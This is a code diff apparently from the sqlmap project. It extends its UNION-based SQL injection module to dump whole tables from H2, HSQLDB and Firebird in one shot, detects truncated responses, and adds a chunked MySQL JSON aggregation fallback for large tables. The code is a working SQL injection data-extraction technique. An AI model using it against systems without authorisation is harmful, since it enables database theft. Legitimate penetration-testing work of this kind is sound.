5050from lib .core .enums import PAYLOAD
5151from lib .core .exception import SqlmapDataException
5252from lib .core .exception import SqlmapSyntaxException
53+ from lib .core .settings import JSON_AGG_CHUNK_ROWS
5354from lib .core .settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
5455from lib .core .settings import NULL
5556from lib .core .settings import SQL_SCALAR_REGEX
@@ -129,7 +130,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
129130 retVal = None
130131 else :
131132 retVal = getUnicode (retVal )
132- elif Backend .isDbms ( DBMS .PGSQL ):
133+ elif Backend .getIdentifiedDbms () in ( DBMS .PGSQL , DBMS . H2 , DBMS . HSQLDB , DBMS . FIREBIRD ):
133134 output = extractRegexResult (r"(?P<result>%s.*%s)" % (kb .chars .start , kb .chars .stop ), removeReflectiveValues (_page , payload ))
134135 if output :
135136 retVal = output
@@ -150,6 +151,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
150151
151152 if retVal :
152153 break
154+
155+ # Detect a single-shot aggregate that was too large to return whole, so the caller can
156+ # switch to chunked (windowed) aggregation: either the response carries the leading
157+ # marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS
158+ # truncation, regardless of compression), or the DBMS refused it outright with a packet
159+ # size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet").
160+ if retVal is None and page and ((kb .chars .start in page and kb .chars .stop not in page ) or "max_allowed_packet" in page ):
161+ kb .respTruncated = True
153162 else :
154163 # Parse the returned page to get the exact UNION-based
155164 # SQL injection output
@@ -237,6 +246,55 @@ def _configUnionCols(columns):
237246 _configUnionChar (char )
238247 _configUnionCols (conf .uCols or columns )
239248
249+ def _chunkedJsonAggUse (expression , expressionFields , expressionFieldsList , count ):
250+ """
251+ Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned
252+ whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION
253+ path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a
254+ LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the
255+ caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of
256+ rows, or None to let the caller fall back to the regular per-row UNION path.
257+
258+ NOTE: MySQL only for now (windowed 'LIMIT offset,K' + JSON_ARRAYAGG); other DBMSes return None.
259+ """
260+ if not Backend .isDbms (DBMS .MYSQL ) or not expressionFields or not expressionFieldsList :
261+ return None
262+
263+ # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows
264+ base = re .sub (r"(?i)\s+ORDER BY\s+.+\Z" , "" , expression )
265+ orderBy = "ORDER BY %s" % ',' .join (str (_ + 1 ) for _ in range (len (expressionFieldsList )))
266+ aggFields = "CONCAT_WS('%s',%s)" % (kb .chars .delimiter , ',' .join (agent .nullAndCastField (_ ) for _ in expressionFieldsList ))
267+
268+ debugMsg = "single-shot UNION dump output was too large; switching to "
269+ debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count
270+ singleTimeDebugMessage (debugMsg )
271+
272+ retVal = BigArray ()
273+ chunk = JSON_AGG_CHUNK_ROWS
274+ offset = 0
275+
276+ while offset < count :
277+ inner = "%s %s LIMIT %d,%d" % (base , orderBy , offset , chunk )
278+ query = "SELECT CONCAT('%s',JSON_ARRAYAGG(%s),'%s') FROM (%s) AS sqmapx" % (kb .chars .start , aggFields , kb .chars .stop , inner )
279+
280+ kb .jsonAggMode = True
281+ output = _oneShotUnionUse (query , False )
282+ kb .jsonAggMode = False
283+
284+ if kb .respTruncated and chunk > 1 :
285+ chunk = max (1 , chunk // 2 ) # a single chunk is still too big -> shrink and retry same window
286+ continue
287+
288+ rows = parseUnionPage (output )
289+
290+ if rows is None :
291+ return None # unexpected failure -> let the caller fall back to the per-row path
292+
293+ retVal .extend (arrayizeValue (rows ))
294+ offset += chunk
295+
296+ return retVal
297+
240298def unionUse (expression , unpack = True , dump = False ):
241299 """
242300 This function tests for an UNION SQL injection on the target
@@ -268,7 +326,7 @@ def unionUse(expression, unpack=True, dump=False):
268326 debugMsg += "it does not play well with UNION query SQL injection"
269327 singleTimeDebugMessage (debugMsg )
270328
271- if Backend .getIdentifiedDbms () in (DBMS .MYSQL , DBMS .ORACLE , DBMS .PGSQL , DBMS .MSSQL , DBMS .SQLITE ) and expressionFields and not any ((conf .binaryFields , conf .limitStart , conf .limitStop , conf .forcePartial , conf .disableJson )):
329+ if Backend .getIdentifiedDbms () in (DBMS .MYSQL , DBMS .ORACLE , DBMS .PGSQL , DBMS .MSSQL , DBMS .SQLITE , DBMS . H2 , DBMS . HSQLDB , DBMS . FIREBIRD ) and expressionFields and not any ((conf .binaryFields , conf .limitStart , conf .limitStop , conf .forcePartial , conf .disableJson )):
272330 match = re .search (r"SELECT\s*(.+?)\bFROM" , expression , re .I )
273331 if match and not (Backend .isDbms (DBMS .ORACLE ) and FROM_DUMMY_TABLE [DBMS .ORACLE ] in expression ) and not re .search (r"\b(MIN|MAX|COUNT|EXISTS)\(" , expression ):
274332 kb .jsonAggMode = True
@@ -282,6 +340,10 @@ def unionUse(expression, unpack=True, dump=False):
282340 query = expression .replace (expressionFields , "STRING_AGG('%s'||%s||'%s','')" % (kb .chars .start , ("||'%s'||" % kb .chars .delimiter ).join ("COALESCE(%s::text,' ')" % field for field in expressionFieldsList ), kb .chars .stop ), 1 )
283341 elif Backend .isDbms (DBMS .MSSQL ):
284342 query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb .chars .start , expression , kb .chars .stop )
343+ elif Backend .getIdentifiedDbms () in (DBMS .H2 , DBMS .HSQLDB ):
344+ query = expression .replace (expressionFields , "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (kb .chars .start , ("||'%s'||" % kb .chars .delimiter ).join (agent .nullAndCastField (field ) for field in expressionFieldsList ), kb .chars .stop ), 1 )
345+ elif Backend .isDbms (DBMS .FIREBIRD ):
346+ query = expression .replace (expressionFields , "LIST('%s'||%s||'%s','')" % (kb .chars .start , ("||'%s'||" % kb .chars .delimiter ).join (agent .nullAndCastField (field ) for field in expressionFieldsList ), kb .chars .stop ), 1 )
285347 output = _oneShotUnionUse (query , False )
286348 value = parseUnionPage (output )
287349 kb .jsonAggMode = False
@@ -336,6 +398,14 @@ def unionUse(expression, unpack=True, dump=False):
336398 return value
337399
338400 if isNumPosStrValue (count ) and int (count ) > 1 :
401+ # The single-shot full UNION dump failed and the table is large (or its oversized
402+ # response was detected as truncated): retrieve the rows in bounded windows via
403+ # chunked JSON aggregation (K rows/request) instead of the slow per-row path below.
404+ if Backend .isDbms (DBMS .MYSQL ) and not any ((kb .forcePartialUnion , conf .forcePartial , conf .disableJson , conf .binaryFields , conf .limitStart , conf .limitStop )) and (int (count ) >= JSON_AGG_CHUNK_ROWS or kb .respTruncated ):
405+ chunked = _chunkedJsonAggUse (expression , expressionFields , expressionFieldsList , int (count ))
406+ if chunked is not None :
407+ return chunked
408+
339409 threadData = getCurrentThreadData ()
340410
341411 try :
0 commit comments